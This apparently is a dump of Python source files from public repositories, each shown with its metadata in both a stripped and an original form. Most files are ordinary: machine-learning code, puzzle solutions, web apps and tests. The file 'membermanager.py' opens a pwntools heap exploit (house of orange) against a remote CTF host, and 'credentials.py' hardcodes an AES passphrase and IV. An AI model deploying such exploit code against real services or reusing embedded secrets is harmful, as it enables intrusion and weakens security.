#!/usr/bin/env python """ Lists key(s) detail(s) visible to the supplied Cosm user API key To use this script you must create a text file containing your API key and pass it to this script using the --keyfile argument as follows: List all keys visible to supplied key: $ key_view.py --keyfile=/path/to/apikey/file Li...
0
793
0
0
0
0
0
0
23
7fe84b3ee1b5f1958f297736edded77c0dfe5000
28,059
py
Python
mmdet/models/backbones/deep_shallow_net.py
ziming-liu/ObjectDet
6e25fa784114b9773b052d9d5465aa6fed93468a
[ "Apache-2.0" ]
null
null
null
mmdet/models/backbones/deep_shallow_net.py
ziming-liu/ObjectDet
6e25fa784114b9773b052d9d5465aa6fed93468a
[ "Apache-2.0" ]
null
null
null
mmdet/models/backbones/deep_shallow_net.py
ziming-liu/ObjectDet
6e25fa784114b9773b052d9d5465aa6fed93468a
[ "Apache-2.0" ]
null
null
null
import torch import torch.nn as nn import os import torch from torch.utils import model_zoo from mmcv.runner import get_dist_info from torch.utils import model_zoo def load_url_dist(url): """ In distributed setting, this function only download checkpoint at local rank 0 """ rank, world_size ...
36.72644
112
0.536085
import logging import torch from torch.nn import functional as F import torch.nn as nn import torch.utils.checkpoint as cp from mmcv.runner.checkpoint import open_mmlab_model_urls, load_state_dict from torch.nn.modules.batchnorm import _BatchNorm import os import os.path as osp import pkgutil import time i...
0
16,680
0
7,633
0
2,297
0
261
568
f6ed54fa8803345e1f0243f96a64d7278490af2f
520
py
Python
2016/day6.py
bloy/adventofcode
3c98325666f18bfb1af08aac876156e055eed9f6
[ "MIT" ]
null
null
null
2016/day6.py
bloy/adventofcode
3c98325666f18bfb1af08aac876156e055eed9f6
[ "MIT" ]
2
2019-12-01T15:44:32.000Z
2019-12-01T15:44:32.000Z
2016/day6.py
bloy/adventofcode
3c98325666f18bfb1af08aac876156e055eed9f6
[ "MIT" ]
null
null
null
#!/usr/bin/env python3 import pprint if __name__ == '__main__': with open('day6_input.txt') as f: data = [line for line in f.read().split("\n") if line != ''] pprint.pprint(solve1(data)) pprint.pprint(solve2(data))
23.636364
70
0.632692
#!/usr/bin/env python3 import pprint import collections def solve1(data): return "".join([collections.Counter(position).most_common()[0][0] for position in zip(*data)]) def solve2(data): return "".join([collections.Counter(position).most_common()[-1][0] for position in zip(*data)]) ...
0
0
0
0
0
215
0
-3
68
37bff107bf700357a12e119952385f7af6502dbe
203
py
Python
Python/MEMO.py
neonio/datastructure101
ab91733fd44b4bb23a10b670e128686ba4366f36
[ "MIT" ]
null
null
null
Python/MEMO.py
neonio/datastructure101
ab91733fd44b4bb23a10b670e128686ba4366f36
[ "MIT" ]
null
null
null
Python/MEMO.py
neonio/datastructure101
ab91733fd44b4bb23a10b670e128686ba4366f36
[ "MIT" ]
null
null
null
# =======================
14.5
39
0.605911
from typing import NamedTuple, Optional class Response(NamedTuple): status_code: int data: str def request() -> Optional[Response]: return Response(100, '33') # =======================
0
0
0
41
0
46
0
18
68
a8bac8e3172d4d562a0167d4663f1f6752d89127
364
py
Python
src/oolongt/typings.py
schmamps/textteaser
e948ac6c0a4a4a44c7011206d7df236529d7813d
[ "MIT" ]
2
2020-02-18T09:13:13.000Z
2021-06-12T13:16:13.000Z
src/oolongt/typings.py
schmamps/textteaser
e948ac6c0a4a4a44c7011206d7df236529d7813d
[ "MIT" ]
null
null
null
src/oolongt/typings.py
schmamps/textteaser
e948ac6c0a4a4a44c7011206d7df236529d7813d
[ "MIT" ]
1
2019-05-05T14:43:53.000Z
2019-05-05T14:43:53.000Z
"""Custom type definitions""" import pathlib # noqa: F401 import typing PathOrString = typing.Union[str, pathlib.Path] OptionalString = typing.Optional[str] StringList = typing.List[str] AnyList = typing.List[typing.Any] OptionalStringList = typing.Union[OptionalString, StringList] DictOfAny = typing.Dict[str, typing...
30.333333
61
0.78022
"""Custom type definitions""" import pathlib # noqa: F401 import typing PathOrString = typing.Union[str, pathlib.Path] OptionalString = typing.Optional[str] StringList = typing.List[str] AnyList = typing.List[typing.Any] OptionalStringList = typing.Union[OptionalString, StringList] DictOfAny = typing.Dict[str, typing...
0
0
0
0
0
0
0
0
0
05fd6304e9a7cd3e2f95235e3c2b56d8d155f438
1,044
py
Python
Python/Greedy/135_Candy.py
jq-77/leetcode
a8a10655fe39bc4f4643540f6f0f2ff4208d3529
[ "MIT" ]
null
null
null
Python/Greedy/135_Candy.py
jq-77/leetcode
a8a10655fe39bc4f4643540f6f0f2ff4208d3529
[ "MIT" ]
null
null
null
Python/Greedy/135_Candy.py
jq-77/leetcode
a8a10655fe39bc4f4643540f6f0f2ff4208d3529
[ "MIT" ]
null
null
null
# -*- coding: utf-8 -*- """ Created on Tue Jul 6 16:53:38 2021 @author: keikei """ """ There are n children standing in a line. Each child is assigned a rating value given in the integer array ratings. You are giving candies to these children subjected to the following requirements: Each child must have at least...
28.216216
97
0.590038
# -*- coding: utf-8 -*- """ Created on Tue Jul 6 16:53:38 2021 @author: keikei """ """ There are n children standing in a line. Each child is assigned a rating value given in the integer array ratings. You are giving candies to these children subjected to the following requirements: Each child must have at least...
0
0
0
519
0
0
0
0
23
cb282d58203417af2067b2527f6d82b5ba18ff80
153
py
Python
libplf/__init__.py
yyyyyp/libplf
fb73e3c55277e3e94c63e596513b188fedadcf35
[ "MIT" ]
2
2020-06-10T11:38:50.000Z
2020-06-11T10:22:39.000Z
libplf/__init__.py
yyyyyp/libplf
fb73e3c55277e3e94c63e596513b188fedadcf35
[ "MIT" ]
null
null
null
libplf/__init__.py
yyyyyp/libplf
fb73e3c55277e3e94c63e596513b188fedadcf35
[ "MIT" ]
3
2020-06-11T10:25:02.000Z
2020-06-12T03:01:34.000Z
from __future__ import annotations
25.5
34
0.79085
from __future__ import annotations from .vector import T as vector from .point import T as point from .piece import T as piece from .plf import T as plf
0
0
0
0
0
0
0
30
88
32e9fc28b63b9d40aed8a6fb8a6ab87a53e9f68f
32,598
py
Python
torchvision/edgeailite/xnn/quantize/quant_train_module.py
TexasInstruments/vision
abaf29de0798e8e8d3f996dc272cd3c515562695
[ "BSD-3-Clause" ]
21
2021-10-08T02:47:56.000Z
2022-03-29T14:17:04.000Z
torchvision/xnn/quantize/quant_train_module.py
leidi1989/edgeai-torchvision
94bd2d8a01fac800e7df82dd710b3cc13f9a24ea
[ "BSD-3-Clause" ]
9
2021-11-15T06:43:54.000Z
2022-03-16T04:47:52.000Z
torchvision/xnn/quantize/quant_train_module.py
leidi1989/edgeai-torchvision
94bd2d8a01fac800e7df82dd710b3cc13f9a24ea
[ "BSD-3-Clause" ]
9
2021-11-11T11:17:16.000Z
2022-03-08T04:26:10.000Z
################################################################################# # Copyright (c) 2018-2021, Texas Instruments Incorporated - http://www.ti.com # All Rights Reserved. # # Redistribution and use in source and binary forms, with or without # modification, are permitted provided that the following conditio...
47.106936
171
0.612676
################################################################################# # Copyright (c) 2018-2021, Texas Instruments Incorporated - http://www.ti.com # All Rights Reserved. # # Redistribution and use in source and binary forms, with or without # modification, are permitted provided that the following conditio...
0
0
0
29,500
0
234
0
-2
266
87b52778a96116017fba7b57f8e6ffac96f10468
2,998
py
Python
ml_ephys/synthesis/p_synthesize_random_firings.py
ferchaure/ml_ephys
9fc30d0270a0f98a6ca7c622f7377cd5c6786302
[ "Apache-2.0" ]
1
2019-03-31T00:30:39.000Z
2019-03-31T00:30:39.000Z
ml_ephys/synthesis/p_synthesize_random_firings.py
ferchaure/ml_ephys
9fc30d0270a0f98a6ca7c622f7377cd5c6786302
[ "Apache-2.0" ]
10
2018-05-05T14:55:01.000Z
2021-04-15T15:24:06.000Z
ml_ephys/synthesis/p_synthesize_random_firings.py
ferchaure/ml_ephys
9fc30d0270a0f98a6ca7c622f7377cd5c6786302
[ "Apache-2.0" ]
6
2018-07-05T20:06:30.000Z
2020-11-27T12:19:03.000Z
import numpy as np from mountainlab_pytools import mdaio processor_name='ephys.synthesize_random_firings' processor_version='0.14' def synthesize_random_firings(*,firings_out,K=20,samplerate=30000,duration=60): """ Synthesize random waveforms for use in creating a synthetic timeseries dataset Parameters ...
31.893617
133
0.672448
import numpy as np from mountainlab_pytools import mdaio processor_name='ephys.synthesize_random_firings' processor_version='0.14' def synthesize_random_firings(*,firings_out,K=20,samplerate=30000,duration=60): """ Synthesize random waveforms for use in creating a synthetic timeseries dataset Parameters ...
0
0
0
0
0
859
0
0
85
73a132aea6d1ad29dc0db783095d9d49ff26ff2f
6,149
py
Python
utils/noise.py
jcaw/talon_conf
a1c2a02e2a7b2d37b6bd40aa5ce3b334206460c2
[ "MIT" ]
9
2020-05-13T19:41:54.000Z
2022-02-04T06:18:21.000Z
utils/noise.py
jcaw/talon_conf
a1c2a02e2a7b2d37b6bd40aa5ce3b334206460c2
[ "MIT" ]
null
null
null
utils/noise.py
jcaw/talon_conf
a1c2a02e2a7b2d37b6bd40aa5ce3b334206460c2
[ "MIT" ]
2
2020-06-06T15:10:58.000Z
2022-02-04T06:18:01.000Z
hiss_mapper = LongNoiseMapper("hiss") pop_mapper = ShortNoiseMapper("pop")
34.740113
88
0.629696
import threading import logging import inspect from talon import cron, noise, Context from user.utils import context_active class _LongNoiseHandler(object): def __init__(self, handler, gap_tolerance=0): # Check now to prevent deferred errors. self._assert_context_manager(handler) assert i...
0
622
0
5,229
0
0
0
14
203
3b1ca24788eea5857eb0b94da235d619d1fc5412
252
py
Python
locale/pot/api/core/_autosummary/pyvista-DataSetFilters-surface_indices-1.py
tkoyama010/pyvista-doc-translations
23bb813387b7f8bfe17e86c2244d5dd2243990db
[ "MIT" ]
4
2020-08-07T08:19:19.000Z
2020-12-04T09:51:11.000Z
locale/pot/api/core/_autosummary/pyvista-UnstructuredGrid-surface_indices-1.py
tkoyama010/pyvista-doc-translations
23bb813387b7f8bfe17e86c2244d5dd2243990db
[ "MIT" ]
19
2020-08-06T00:24:30.000Z
2022-03-30T19:22:24.000Z
locale/pot/api/core/_autosummary/pyvista-RectilinearGrid-surface_indices-1.py
tkoyama010/pyvista-doc-translations
23bb813387b7f8bfe17e86c2244d5dd2243990db
[ "MIT" ]
1
2021-03-09T07:50:40.000Z
2021-03-09T07:50:40.000Z
# Return the first 10 surface indices of an UnstructuredGrid. # from pyvista import examples grid = examples.load_hexbeam() ind = grid.surface_indices() ind[:10] # doctest:+SKIP # Expected: ## pyvista_ndarray([ 0, 2, 36, 27, 7, 8, 81, 1, 18, 4])
28
61
0.690476
# Return the first 10 surface indices of an UnstructuredGrid. # from pyvista import examples grid = examples.load_hexbeam() ind = grid.surface_indices() ind[:10] # doctest:+SKIP # Expected: ## pyvista_ndarray([ 0, 2, 36, 27, 7, 8, 81, 1, 18, 4])
0
0
0
0
0
0
0
0
0
ebf3343663f678b01dee5e92764db235064e9d20
670
py
Python
lane/test.py
KITTCAMP-CODE/puppy
f222c935ee474eb6e9dec2ff60f05415eab34c90
[ "Apache-2.0" ]
2
2018-12-23T06:47:18.000Z
2019-07-22T16:42:09.000Z
lane/test.py
KITTCAMP-CODE/puppy
f222c935ee474eb6e9dec2ff60f05415eab34c90
[ "Apache-2.0" ]
null
null
null
lane/test.py
KITTCAMP-CODE/puppy
f222c935ee474eb6e9dec2ff60f05415eab34c90
[ "Apache-2.0" ]
null
null
null
import cv2 import urllib2 import numpy as np import sys host = "192.168.1.85:8080" if len(sys.argv)>1: host = sys.argv[1] hoststr = 'http://' + host + '/?action=stream' print 'Streaming ' + hoststr print 'Print Esc to quit' stream=urllib2.urlopen(hoststr) bytes='' while True: bytes+=stream.read(1024) a = b...
25.769231
68
0.585075
import cv2 import urllib2 import numpy as np import sys host = "192.168.1.85:8080" if len(sys.argv)>1: host = sys.argv[1] hoststr = 'http://' + host + '/?action=stream' print 'Streaming ' + hoststr print 'Print Esc to quit' stream=urllib2.urlopen(hoststr) bytes='' while True: bytes+=stream.read(1024) a = b...
0
0
0
0
0
0
0
0
0
bf1a61c96750e2fa06a9e8b98caf15fcd750196f
415
py
Python
CCC/ccc05s2.py
devAdhiraj/coding-problems
e15d0eeb025e1ad503c73eb9280e6226fd979164
[ "MIT" ]
null
null
null
CCC/ccc05s2.py
devAdhiraj/coding-problems
e15d0eeb025e1ad503c73eb9280e6226fd979164
[ "MIT" ]
null
null
null
CCC/ccc05s2.py
devAdhiraj/coding-problems
e15d0eeb025e1ad503c73eb9280e6226fd979164
[ "MIT" ]
null
null
null
import sys input = sys.stdin.readline xmax, ymax = list(map(int, input().split())) x, y = list(map(int, input().split())) posx, posy = 0, 0 while(x != 0 or y != 0): posx += x posy += y if posx < 0: posx = 0 if posx > xmax: posx = xmax if posy < 0: posy = 0 if posy > ...
17.291667
44
0.496386
import sys input = sys.stdin.readline xmax, ymax = list(map(int, input().split())) x, y = list(map(int, input().split())) posx, posy = 0, 0 while(x != 0 or y != 0): posx += x posy += y if posx < 0: posx = 0 if posx > xmax: posx = xmax if posy < 0: posy = 0 if posy > ...
0
0
0
0
0
0
0
0
0
66ad69d9def08bbec4328a2fede290c1141f6585
51,895
py
Python
twext/enterprise/test/test_adbapi2.py
troglodyne/ccs-twistedextensions
1b43cb081ba68ae310140a9e853e041cd6362625
[ "Apache-2.0" ]
23
2016-08-14T07:20:27.000Z
2021-11-08T09:47:45.000Z
twext/enterprise/test/test_adbapi2.py
DalavanCloud/ccs-twistedextensions
2c4046df88873dcf33fba7840ed90e4238dcbec7
[ "Apache-2.0" ]
2
2016-12-15T17:51:49.000Z
2019-05-12T15:59:03.000Z
twext/enterprise/test/test_adbapi2.py
DalavanCloud/ccs-twistedextensions
2c4046df88873dcf33fba7840ed90e4238dcbec7
[ "Apache-2.0" ]
20
2016-08-17T06:51:00.000Z
2022-03-26T11:55:56.000Z
## # Copyright (c) 2010-2017 Apple Inc. All rights reserved. # # Licensed under the Apache License, Version 2.0 (the "License"); # you may not use this file except in compliance with the License. # You may obtain a copy of the License at # # http://www.apache.org/licenses/LICENSE-2.0 # # Unless required by applicable l...
37.990483
93
0.639946
## # Copyright (c) 2010-2017 Apple Inc. All rights reserved. # # Licensed under the Apache License, Version 2.0 (the "License"); # you may not use this file except in compliance with the License. # You may obtain a copy of the License at # # http://www.apache.org/licenses/LICENSE-2.0 # # Unless required by applicable l...
0
631
0
49,233
0
0
0
670
698
3d9e590f0326a1b7c2d6a6e3b5c5eb2083013dc9
4,873
py
Python
pyFAI/utils/shell.py
jangarrevoet/pyFAI
0779ac9aa5d72ac582413921989a8375bb7a990a
[ "MIT" ]
null
null
null
pyFAI/utils/shell.py
jangarrevoet/pyFAI
0779ac9aa5d72ac582413921989a8375bb7a990a
[ "MIT" ]
null
null
null
pyFAI/utils/shell.py
jangarrevoet/pyFAI
0779ac9aa5d72ac582413921989a8375bb7a990a
[ "MIT" ]
null
null
null
# coding: utf-8 # # Project: Azimuthal integration # https://github.com/silx-kit/pyFAI # # Copyright (C) 2015-2018 European Synchrotron Radiation Facility, Grenoble, France # # Permission is hereby granted, free of charge, to any person obtaining a copy # of this software and associated documentation ...
37.775194
148
0.652781
# coding: utf-8 # # Project: Azimuthal integration # https://github.com/silx-kit/pyFAI # # Copyright (C) 2015-2018 European Synchrotron Radiation Facility, Grenoble, France # # Permission is hereby granted, free of charge, to any person obtaining a copy # of this software and associated documentation ...
18
0
0
3,234
0
0
0
-19
68
c0fabdc2c7a0b4d1b583e49cf3de720ce360b9f6
73
py
Python
src/credentials.py
flopeters1337/L_orang-chatbot-module
3247cde7934212a24633d496ce52c90e22b3df04
[ "MIT" ]
1
2018-03-28T08:45:12.000Z
2018-03-28T08:45:12.000Z
src/credentials.py
flopeters1337/Palantir-project
3247cde7934212a24633d496ce52c90e22b3df04
[ "MIT" ]
2
2018-03-22T20:34:23.000Z
2018-03-22T20:35:10.000Z
src/credentials.py
flopeters1337/Palantir-project
3247cde7934212a24633d496ce52c90e22b3df04
[ "MIT" ]
null
null
null
aes_passphrase = "Palantir_is_the_best1337" aes_iv = b'wtf1sd1sw4t1sd1s'
24.333333
43
0.835616
aes_passphrase = "Palantir_is_the_best1337" aes_iv = b'wtf1sd1sw4t1sd1s'
0
0
0
0
0
0
0
0
0
71f43ef8a28e18f93e80ba721bc1c16573980398
109
py
Python
contextfilter/__init__.py
aviramha/contextfilter
abd757360904c31c1c201854d0b8a73907c0373b
[ "MIT" ]
9
2020-08-12T15:33:57.000Z
2021-12-31T06:45:36.000Z
contextfilter/__init__.py
aviramha/contextfilter
abd757360904c31c1c201854d0b8a73907c0373b
[ "MIT" ]
1
2020-08-13T12:57:19.000Z
2020-08-14T06:20:20.000Z
contextfilter/__init__.py
aviramha/contextfilter
abd757360904c31c1c201854d0b8a73907c0373b
[ "MIT" ]
1
2020-11-26T10:40:36.000Z
2020-11-26T10:40:36.000Z
from .main import ConstContextFilter, ContextVarFilter __all__ = ("ContextVarFilter", "ConstContextFilter")
27.25
54
0.816514
from .main import ConstContextFilter, ContextVarFilter __all__ = ("ContextVarFilter", "ConstContextFilter")
0
0
0
0
0
0
0
0
0
5e0294599126174b834f8a77e6715db98ebb4b43
3,807
py
Python
cli/util.py
aman-v1729/CommonAudioVideoCLI
c2245a02bbafd1ff9899dba2b02f246f98538746
[ "MIT" ]
null
null
null
cli/util.py
aman-v1729/CommonAudioVideoCLI
c2245a02bbafd1ff9899dba2b02f246f98538746
[ "MIT" ]
1
2020-05-14T13:20:45.000Z
2020-05-14T19:08:06.000Z
cli/util.py
aman-v1729/CommonAudioVideoCLI
c2245a02bbafd1ff9899dba2b02f246f98538746
[ "MIT" ]
5
2020-05-17T17:00:43.000Z
2020-07-25T06:19:57.000Z
from select import select import pyqrcode from termcolor import colored def wait_until_error(f, timeout=0.5): """ Wait for timeout seconds until the function stops throwing any errors. """ return inner def send_until_writable(timeout=0.5): """ This will send a message to the socket only when it is writ...
27.586957
100
0.558182
import time import os from select import select import pyqrcode import subprocess import re from magic import Magic from audio_extract import convert2mkv from termcolor import colored import threading import itertools import sys def wait_until_error(f, timeout=0.5): """ Wait for timeout seconds until the function...
0
0
0
472
0
1,954
0
-41
344
c75118ae6d156fc17e88797980a87b77a378b9fc
9,387
py
Python
nz_bank_validate/__init__.py
zhaowb/nz-bank-validate
795b8aae7c29b7fe10ae22522561899d029ef36b
[ "MIT" ]
null
null
null
nz_bank_validate/__init__.py
zhaowb/nz-bank-validate
795b8aae7c29b7fe10ae22522561899d029ef36b
[ "MIT" ]
null
null
null
nz_bank_validate/__init__.py
zhaowb/nz-bank-validate
795b8aae7c29b7fe10ae22522561899d029ef36b
[ "MIT" ]
null
null
null
"""Validate NZ bank account number. Refer to document: [RWT and NRWT Certificates / 2020 / Version 1.0](https://www.ird.govt.nz/-/media/project/ir/home/documents/income-tax/withholding-taxes/rwt-nrwt-withholding-tax-certificate/2020-rwt-and-nrwt-certificate-filing-specification.pdf) charpter 8. Bank account number vali...
33.888087
290
0.551188
"""Validate NZ bank account number. Refer to document: [RWT and NRWT Certificates / 2020 / Version 1.0](https://www.ird.govt.nz/-/media/project/ir/home/documents/income-tax/withholding-taxes/rwt-nrwt-withholding-tax-certificate/2020-rwt-and-nrwt-certificate-filing-specification.pdf) charpter 8. Bank account number vali...
0
0
0
0
0
1,000
0
8
204
333f3126eda430d2e5d660da41db581707cf0684
2,959
py
Python
src/sentry/models/savedsearch.py
boblail/sentry
71127331e58791d4651e480b65dd66f06cadc1c8
[ "BSD-3-Clause" ]
1
2019-08-28T11:03:13.000Z
2019-08-28T11:03:13.000Z
src/sentry/models/savedsearch.py
boblail/sentry
71127331e58791d4651e480b65dd66f06cadc1c8
[ "BSD-3-Clause" ]
null
null
null
src/sentry/models/savedsearch.py
boblail/sentry
71127331e58791d4651e480b65dd66f06cadc1c8
[ "BSD-3-Clause" ]
null
null
null
from __future__ import absolute_import, print_function DEFAULT_SAVED_SEARCHES = [ { 'name': 'Unresolved Issues', 'query': 'is:unresolved', 'is_default': True }, { 'name': 'Needs Triage', 'query': 'is:unresolved is:unassigned' }, { 'name': 'Assigned T...
30.505155
88
0.658668
from __future__ import absolute_import, print_function from django.db import models from django.utils import timezone from sentry.db.models import FlexibleForeignKey, Model, sane_repr from sentry.models.search_common import SearchType DEFAULT_SAVED_SEARCHES = [ { 'name': 'Unresolved Issues', 'qu...
0
312
0
1,718
0
0
0
92
135
e28195c9b8b421f635270963d0f0cacc0dfd62c2
3,327
py
Python
Generative/CONDITIONALMOMENTS/generateSFSQTFrecordsKSE.py
NREL/GANISP
3ce6979e26f837d05b8f7cfbe2b949f900b6026b
[ "BSD-3-Clause" ]
null
null
null
Generative/CONDITIONALMOMENTS/generateSFSQTFrecordsKSE.py
NREL/GANISP
3ce6979e26f837d05b8f7cfbe2b949f900b6026b
[ "BSD-3-Clause" ]
null
null
null
Generative/CONDITIONALMOMENTS/generateSFSQTFrecordsKSE.py
NREL/GANISP
3ce6979e26f837d05b8f7cfbe2b949f900b6026b
[ "BSD-3-Clause" ]
1
2022-02-23T13:48:06.000Z
2022-02-23T13:48:06.000Z
import sys import os import numpy as np sys.path.append('partools') sys.path.append('scitools') sys.path.append('util') import parallel as par import tensorflow as tf import tensorflowUtils as tfu from tensorflow.keras.models import load_model from myProgressBar import printProgressBar par.printRoot('GENERATE TF RECOR...
33.94898
157
0.676886
import itertools import time import h5py import sys import os import scipy.special import numpy as np sys.path.append('partools') sys.path.append('scitools') sys.path.append('util') import parallel as par from filters import boxFilter2D, upSample2D import tensorflow as tf import tensorflowUtils as tfu from tensorflow.k...
0
0
0
0
0
0
0
-4
110
a46c86484f7806f1d9c0d84bae5aff09e7a16b79
5,729
py
Python
server/djangoapp/views.py
alex-bash/agfzb-CloudAppDevelopment_Capstone
4cd7271826c122a8b9d1d0093225d42cfbfa1df0
[ "Apache-2.0" ]
null
null
null
server/djangoapp/views.py
alex-bash/agfzb-CloudAppDevelopment_Capstone
4cd7271826c122a8b9d1d0093225d42cfbfa1df0
[ "Apache-2.0" ]
null
null
null
server/djangoapp/views.py
alex-bash/agfzb-CloudAppDevelopment_Capstone
4cd7271826c122a8b9d1d0093225d42cfbfa1df0
[ "Apache-2.0" ]
null
null
null
from django.shortcuts import render import logging # Get an instance of a logger logger = logging.getLogger(__name__) # Create your views here. # Update the `get_dealerships` view to render the index page with a list of dealerships # Create a `get_dealer_details` view to render the reviews of a dealer # def g...
38.709459
114
0.635364
from django.shortcuts import render from django.http import HttpResponseRedirect, HttpResponse from django.contrib.auth.models import User from django.shortcuts import get_object_or_404, render, redirect from .models import CarDealer, DealerReview, CarModel, CarMake from .restapis import get_dealers_from_cf,get_dealer_...
0
0
0
0
0
4,647
0
253
378
771bbda3c45ed195a15054f8b4b2763ac843dba6
509
py
Python
app/src/accounts/urls.py
Mahmoud-Kssab/BloodBank-master
b65cf17187255ab4b6d21a2247642a0c4410ab86
[ "MIT" ]
null
null
null
app/src/accounts/urls.py
Mahmoud-Kssab/BloodBank-master
b65cf17187255ab4b6d21a2247642a0c4410ab86
[ "MIT" ]
3
2021-05-11T11:16:20.000Z
2022-02-27T03:25:49.000Z
app/src/accounts/urls.py
abdallah-5/BloodBank
dcf38c67688dd5df1697a831f5111f547191fa81
[ "MIT" ]
1
2021-07-31T12:07:18.000Z
2021-07-31T12:07:18.000Z
from django.conf.urls import url from . import views from django.contrib.auth.views import LoginView, LogoutView app_name='accounts' urlpatterns = [ url(r'^$', views.home , name='home'), url(r'^login/$', LoginView.as_view(template_name='login.html'), name="login"), url(r'^logout$', LogoutView), url(r'^...
31.8125
82
0.652259
from django.conf.urls import url from . import views from django.contrib.auth.views import LoginView,LogoutView app_name='accounts' urlpatterns = [ url(r'^$', views.home , name='home'), url(r'^login/$', LoginView.as_view(template_name='login.html'), name="login"), url(r'^logout$', LogoutView), url(r'^s...
0
0
0
0
0
0
0
-1
0
5e4a466e293ac085a59c395fe81568a497cf9e23
1,575
py
Python
knn/knn_mnist.py
rockyzhengwu/mlscratch
bceb7d0267887edc670005366b413911a551f20a
[ "Apache-2.0" ]
20
2017-08-11T01:01:59.000Z
2021-07-18T06:09:44.000Z
knn/knn_mnist.py
rockyzhengwu/mlscratch
bceb7d0267887edc670005366b413911a551f20a
[ "Apache-2.0" ]
null
null
null
knn/knn_mnist.py
rockyzhengwu/mlscratch
bceb7d0267887edc670005366b413911a551f20a
[ "Apache-2.0" ]
8
2017-08-11T03:23:02.000Z
2019-10-28T14:50:36.000Z
#!/usr/bin/env python # encoding: utf-8 def valu_result(pre_y, real_y): """ """ pre_count = {} all_count = {} for pre, real in zip(pre_y, real_y): if real not in pre_count: pre_count[real] = {} all_count[real] = all_count.get(real, 0) + 1 if pre == real: ...
27.631579
66
0.558095
#!/usr/bin/env python # encoding: utf-8 import os import numpy as np import knn def load_data(file_path): X = [] Y = [] for file_name in os.listdir(file_path): label = file_name.split("_")[0] Y.append(int(label)) f = open(os.path.join(file_path, file_name)) lines = f.readli...
72
0
0
0
0
757
0
-26
113
12da6e6c01f311d6c770cb9696a00b32b7b3da9c
47,400
py
Python
tests/unit/test_fs_local.py
neuro-inc/platform-storage-api
7564d6f353f7839962cc5dc2793ba44359eaf390
[ "Apache-2.0" ]
null
null
null
tests/unit/test_fs_local.py
neuro-inc/platform-storage-api
7564d6f353f7839962cc5dc2793ba44359eaf390
[ "Apache-2.0" ]
2
2021-12-29T21:43:29.000Z
2022-01-27T10:45:49.000Z
tests/unit/test_fs_local.py
neuro-inc/platform-storage-api
7564d6f353f7839962cc5dc2793ba44359eaf390
[ "Apache-2.0" ]
null
null
null
from pathlib import PurePath from typing import Any, Callable, Coroutine from platform_storage_api.fs.local import (FileSystem) RemoveMethod = Callable[[FileSystem, PurePath, bool], Coroutine[Any, Any, None]] # helper methods for working with sets of statuses
34.223827
88
0.621814
import os import shutil import tempfile import uuid from collections.abc import AsyncIterator, Iterable, Iterator from pathlib import Path, PurePath from typing import Any, Callable, Coroutine from unittest import mock import pytest import pytest_asyncio from platform_storage_api.fs.local import ( FileStatus, ...
0
7,708
36,559
194
0
0
0
105
2,562
a1ef562e505fbe47039e9ab84cc794eec579be82
3,009
py
Python
scripts/covid-index-rest.py
chuckmeyer/covid-geosearch
6e83ecb8d31b00f50ed6d564a7c77e44ed424ebb
[ "MIT" ]
1
2022-02-18T19:19:50.000Z
2022-02-18T19:19:50.000Z
scripts/covid-index-rest.py
chuckmeyer/covid-geosearch
6e83ecb8d31b00f50ed6d564a7c77e44ed424ebb
[ "MIT" ]
null
null
null
scripts/covid-index-rest.py
chuckmeyer/covid-geosearch
6e83ecb8d31b00f50ed6d564a7c77e44ed424ebb
[ "MIT" ]
null
null
null
#!python3 from dotenv import load_dotenv, find_dotenv load_dotenv(find_dotenv()) METADATA_URL = 'https://webhooks.mongodb-stitch.com/api/client/v2.0/app/covid-19-qppza/service/REST-API/incoming_webhook/metadata' REST_URL = 'https://webhooks.mongodb-stitch.com/api/client/v2.0/app/covid-19-qppza/service/REST-API/incomi...
36.253012
152
0.705882
#!python3 import os from algoliasearch.search_client import SearchClient from dotenv import load_dotenv, find_dotenv import json import requests load_dotenv(find_dotenv()) METADATA_URL = 'https://webhooks.mongodb-stitch.com/api/client/v2.0/app/covid-19-qppza/service/REST-API/incoming_webhook/metadata' REST_URL = 'ht...
0
0
0
0
0
2,461
0
3
158
71ea28c6518db92b8a217bd244affd1c58fb1149
3,819
py
Python
HackTheBox/prolabs/Rasta Labs/membermanager.py
mihaid-b/CyberSakura
f60e6b6bfd6898c69b84424b080090ae98f8076c
[ "MIT" ]
1
2022-03-27T06:00:41.000Z
2022-03-27T06:00:41.000Z
HackTheBox/prolabs/Rasta Labs/membermanager.py
mihaid-b/CyberSakura
f60e6b6bfd6898c69b84424b080090ae98f8076c
[ "MIT" ]
null
null
null
HackTheBox/prolabs/Rasta Labs/membermanager.py
mihaid-b/CyberSakura
f60e6b6bfd6898c69b84424b080090ae98f8076c
[ "MIT" ]
1
2022-03-27T06:01:42.000Z
2022-03-27T06:01:42.000Z
#context.log_level = 'debug' #http://4ngelboy.blogspot.com/2016/10/hitcon-ctf-qual-2016-house-of-orange.html #http://4ngelboy.blogspot.tw/2017/11/play-with-file-structure-yet-another.html p = remote('securewebinc.jet', 5555) #p = process('./membermanager') binary = ELF('./membermanager') libc = ELF('./libc6_2.23-0u...
38.575758
143
0.680545
from pwn import * #context.log_level = 'debug' #http://4ngelboy.blogspot.com/2016/10/hitcon-ctf-qual-2016-house-of-orange.html #http://4ngelboy.blogspot.tw/2017/11/play-with-file-structure-yet-another.html p = remote('securewebinc.jet', 5555) #p = process('./membermanager') binary = ELF('./membermanager') libc = EL...
0
0
0
0
0
638
0
-4
166
653ebac9b608378bd958fc8eb802635c6758f75e
1,167
py
Python
setup.py
jackeylu/sentry-wechat
66dcbbd88f4a3a77a40e45f76d95b4f5f4ef769a
[ "MIT" ]
15
2020-09-08T18:10:17.000Z
2022-01-20T02:42:27.000Z
setup.py
jackeylu/sentry-wechat
66dcbbd88f4a3a77a40e45f76d95b4f5f4ef769a
[ "MIT" ]
2
2020-07-16T23:16:00.000Z
2021-04-14T10:54:23.000Z
setup.py
jackeylu/sentry-wechat
66dcbbd88f4a3a77a40e45f76d95b4f5f4ef769a
[ "MIT" ]
5
2020-06-09T04:14:49.000Z
2021-06-01T11:17:27.000Z
#!/usr/bin/env python # coding: utf-8 ############################################# # File Name: setup.py # Author: whzcorcd # Mail: whzcorcd@gmail.com # Created Time: 2020-06-08 ############################################# from setuptools import setup, find_packages with open("README.md", "r") as fh: long_des...
25.933333
76
0.588689
#!/usr/bin/env python # coding: utf-8 ############################################# # File Name: setup.py # Author: whzcorcd # Mail: whzcorcd@gmail.com # Created Time: 2020-06-08 ############################################# from setuptools import setup, find_packages with open("README.md", "r") as fh: long_des...
0
0
0
0
0
0
0
0
0
8492052e161b177d635426905d3b13d77cc95776
2,210
py
Python
python/hello_python3/hello.py
jeremiedecock/snippets
